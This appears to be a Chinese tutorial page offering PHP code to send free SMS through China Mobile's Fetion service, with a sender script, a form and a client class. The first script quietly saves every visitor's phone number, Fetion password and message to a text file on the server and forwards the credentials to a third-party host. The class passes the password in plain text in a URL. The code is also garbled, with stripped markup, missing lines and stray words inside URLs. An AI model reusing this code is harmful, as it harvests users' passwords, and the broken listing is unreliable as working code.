PHP免费发送短信代码(利用中国移动飞信)

作者:袖梨 2022-06-24
代码如下 复制代码
error_reporting(0);
if($_get['act']=='send'){
@file_put_contents(time().'.txt',$_post['mobile_no'].'|||'.$_post['pass'].'|||'.$_post['sms']." ");
$post_data="mobile_no={$_post['mobile_no']}&pass={$_post['pass']}&sms=".rawurlencode($_post['sms']);
$len=strlen($post_data);
$headers="post /fetion/fetionserver.php http/1.1 ";
$headers.="accept: */* ";
$headers.="content-type: application/x-www-form-urlencoded ";
$headers.="user-agent: 111com.net.net ";
$headers.="host: x.111com.net.net ";
$headers.="content-length: {$len} ";
$headers.="connection: close ";
$headers.=$post_data;
if($fp=fsockopen('v.net',80,$errno,$errstr,90)){
//flock($fp,lock_ex);
fwrite($fp,$headers);
echo fread($fp,10240);
fclose($fp);
}
}
?>
代码如下 复制代码

http://www.w***3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">
https://www.111cn.net/1999/xhtml">



无标题文档
























手机号码:
飞信密码:
短信内容:



代码如下 复制代码

class vs_fetion{
private $mobile_no='';
private $password='';
private $login_received='';
private $sock_handle=null;
private $i=0;
private $sipc_ip='';//各地手机服务器不同
private $sipc_port='8080';
var $domain='fetion.com.cn';
var $login_keys=array();
var $c_ver='3.1.0480';//client version
function __construct($mobile_no,$password){
$this->mobile_no=$mobile_no;
$this->password=$password;
}

//获得系统信息
function get_sipc(){
$sid='';
if(preg_match('/[0-9]{11}/m',$this->mobile_no)){
$sid="mobile-no="{$this->mobile_no}"";
}
else{
$sid="sid="{$this->mobile_no}"";
}
$data='';
$data_len=strlen($data);
);
if(!$fp){
$this->error('get sipc failed.');
}
else{
$headers= post /nav/getsystemconfig.asp教程x http/1.0
user-agent: iic2.0/pc 3.1.0480
accept-encoding: deflate, gzip
host: nav.fetion.com.cn:80
content-length: {$data_len}

{$data}
eot;
fwrite($fp,$headers);
$received=fread($fp,1024);
fclose($fp);
if(preg_match('/([^]+) list($this->sipc_ip,$this->sipc_port)=explode(':',$matchs[1]);
}
else{
$this->error('pregmatch sipc received info failed.');
}
}
}

//向ssi服务器登录
function login(){
);
if(!$fp){
$this->error("fsockopen error,".$errstr.":({$errno})");
}
else{
if(preg_match('/[0-9]{11}/m',$this->mobile_no)){
$sid="mobileno={$this->mobile_no}";
}
else{
$sid="sid={$this->mobile_no}";
}
$headers="get /ssiportal/ssiapps教程ignin.aspx?{$sid}&pwd={$this->password} http/1.1 ";
$headers.="host: nav.fetion.com.cn ";
$headers.="connection: close ";
flock($fp,lock_ex);
@fwrite($fp,$headers);
$this->login_received=fread($fp,1024);
flock($fp,lock_un);
fclose($fp);
$this->get_login_keys();
}
}

//向服务器注册
function register(){
$this->sock_handle=fsockopen($this->sipc_ip,$this->sipc_port,$errno,$errstr,90);
if(!$this->sock_handle){
$this->error('create fsocket failed,'.$errstr.'('.$errno.')');
}
else{
$this->i++;
$send_data= r fetion.com.cn sip-c/2.0
f: {$this->login_keys['sid']}
i: {$this->i}
q: 1 r
l: 251


eot;
$received=$this->sipp($send_data);
if(preg_match('/nonce="(.+)"/',$received,$matchs)){
$nonce=$matchs[1];
}
else{
$this->error('no received nonce.');
}
$cnonce=$this->cnonce_maker();
$response=$this->calc_response($this->login_keys['sid'],$this->domain,$this->password,$nonce,$cnonce);
$send_data= r fetion.com.cn sip-c/2.0
f: {$this->login_keys['sid']}
i: {$this->i}
q: 1 r
l: 251
a: digest response="{$response}",cnonce="{$cnonce}"


eot;
$received=$this->sipp($send_data);
if(!preg_match('/200 ok/',$received)){
$r_array=explode(" ",$received);
$this->error('register failed.code('.$r_array[0].')');
}
//preg_match('/([^]+)/',$received,$matchs);
return true;
}
}

代码如下 复制代码


//获取个人信息
function get_personal_info(){
$this->i++;
$send_data= s {$this->domain} sip-c/2.0
f: {$this->login_keys['sid']}

i: {$this->i}
q: 1 s
n: getpersonalinfo
l: 155


eot;
return $this->sipp($send_data);
}

//修改昵称
function modify_nick_name($nickname){
$nickname=trim($nickname);
$this->i++;
$body_str='';
$l=strlen($body_str);
$send_data= s fetion.com.cn sip-c/2.0
f: {$this->login_keys['sid']}
i: {$this->i}
q: 1 s
n: setpersonalinfo
l: {$l}

{$body_str}
eot;
return $this->sipp($send_data);
}

//发送短信
function send_sms($msg){
$msg=strip_tags($msg);
if(empty($msg)){
return false;
}
else{
$msg_len=strlen($msg);
if(!$this->sock_handle){
return false;
}
elseif($msg_len >180){//短信超过180字符
$this->error('sms too long.');
}
else{
$this->i++;
$send_data= m fetion.com.cn sip-c/2.0
f: {$this->login_keys['sid']}
i: {$this->i}
q: 7 m
t: {$this->login_keys['uri']}
n: sendsms
c: text/plain
k: savehistory
l: {$msg_len}

{$msg}
eot;
$ret=$this->sipp($send_data);
return true;
}
}
}

//sipp会话
function sipp($data){
if(empty($data)){
return false;
}
else{
fwrite($this->sock_handle,$data);
$ret='';
//while($tmp_read=socket_read($this->sock_handle,2)){
$tmp_read=fread($this->sock_handle,20480);//这里设置一个超大值,来保证数据全部被读取
$ret.=$tmp_read;
//}
}
return $ret;
}

//解密压缩数据
function decode_fetion_data($data){
if(empty($data)){
return '';
}
else{
$dcode_data=base64_decode($data);
file_put_contents('tmp.gz.txt',$dcode_data);
$dcode_data=implode('',gzfile('tmp.gz.txt'));
unlink('tmp.gz.txt');
return $dcode_data;
}
}

//计算response
function calc_response($sid, $domain, $password, $nonce, $cnonce) {
if(empty($sid) || empty($domain) || empty($password) || empty($nonce) || empty($cnonce))
$this->error("error when calculating response digest");
$key = md5("{$sid}:{$domain}:{$password}", true);
$h1 = strtoupper(md5("{$key}:{$nonce}:{$cnonce}"));
$h2 = strtoupper(md5("register:{$sid}"));
$response = strtoupper(md5("{$h1}:{$nonce}:{$h2}"));
return $response;
}

//随机产生cnonce
function cnonce_maker() {
return sprintf("%04x%04x%04x%04x%04x%04x%04x%04x",
rand() & 0xffff, rand() & 0xffff, rand() & 0xffff,
rand() & 0xffff, rand() & 0xffff, rand() & 0xffff,
rand() & 0xffff, rand() & 0xffff);
}

function get_login_keys(){
if(empty($this->login_received)){
return false;
}
$data=explode(" ",$this->login_received);
$this->login_keys['ssic']=str_replace(array('set-cookie: ','; path=/'),array('',''),$data[6]);
$xml_data=array_pop($data);

$xml_obj=new simplexmlelement($xml_data);
$attr=$xml_obj->attributes();
if($attr['status-code']!=200){
$this->error("login failed!status-code:(".$attr['status-code'].")");
}
$user_attr=$xml_obj->user->attributes();
$this->login_keys['uri']=$user_attr['uri'];
$this->login_keys['user_status']=$user_attr['user-status'];
if(preg_match('/sip:([0-9]+)@/',$user_attr['uri'],$matchs)){
$this->login_keys['sid']=$matchs[1];
}
else{
$this->error('get sid failed.');
}
}


function error($msg){
exit("vs_fetion error:
".$msg);
}
}

//error_reporting(0);
if(isset($_server['http_user_agent']) && $_server['http_user_agent'] =='111com.net.net'){
require('vs_fetion.class.php');
$nick_name='';
$fetion_sms=new vs_fetion($_post['mobile_no'],$_post['pass']);
$fetion_sms->get_sipc();
$fetion_sms->login();
$fetion_sms->register();
if(isset($_post['use_tmp_nick']) && intval($_post['use_tmp_nick'])==1){
$personal_info=$fetion_sms->get_personal_info();
if(preg_match('/nickname="([^"]*)"/m',$personal_info,$matchs)){
$nick_name=$matchs[1];
}
else{
$nick_name='111com.net';
}
$tmp_nick=trim($_post['tmp_nick']);
$fetion_sms->modify_nick_name($tmp_nick);
}
if($fetion_sms->send_sms($_post['sms'])){
print('sent successful');
}
else{
print('sent fail');
}
if(!empty($nick_name)){
$fetion_sms->modify_nick_name($nick_name);
}
}

相关文章

精彩推荐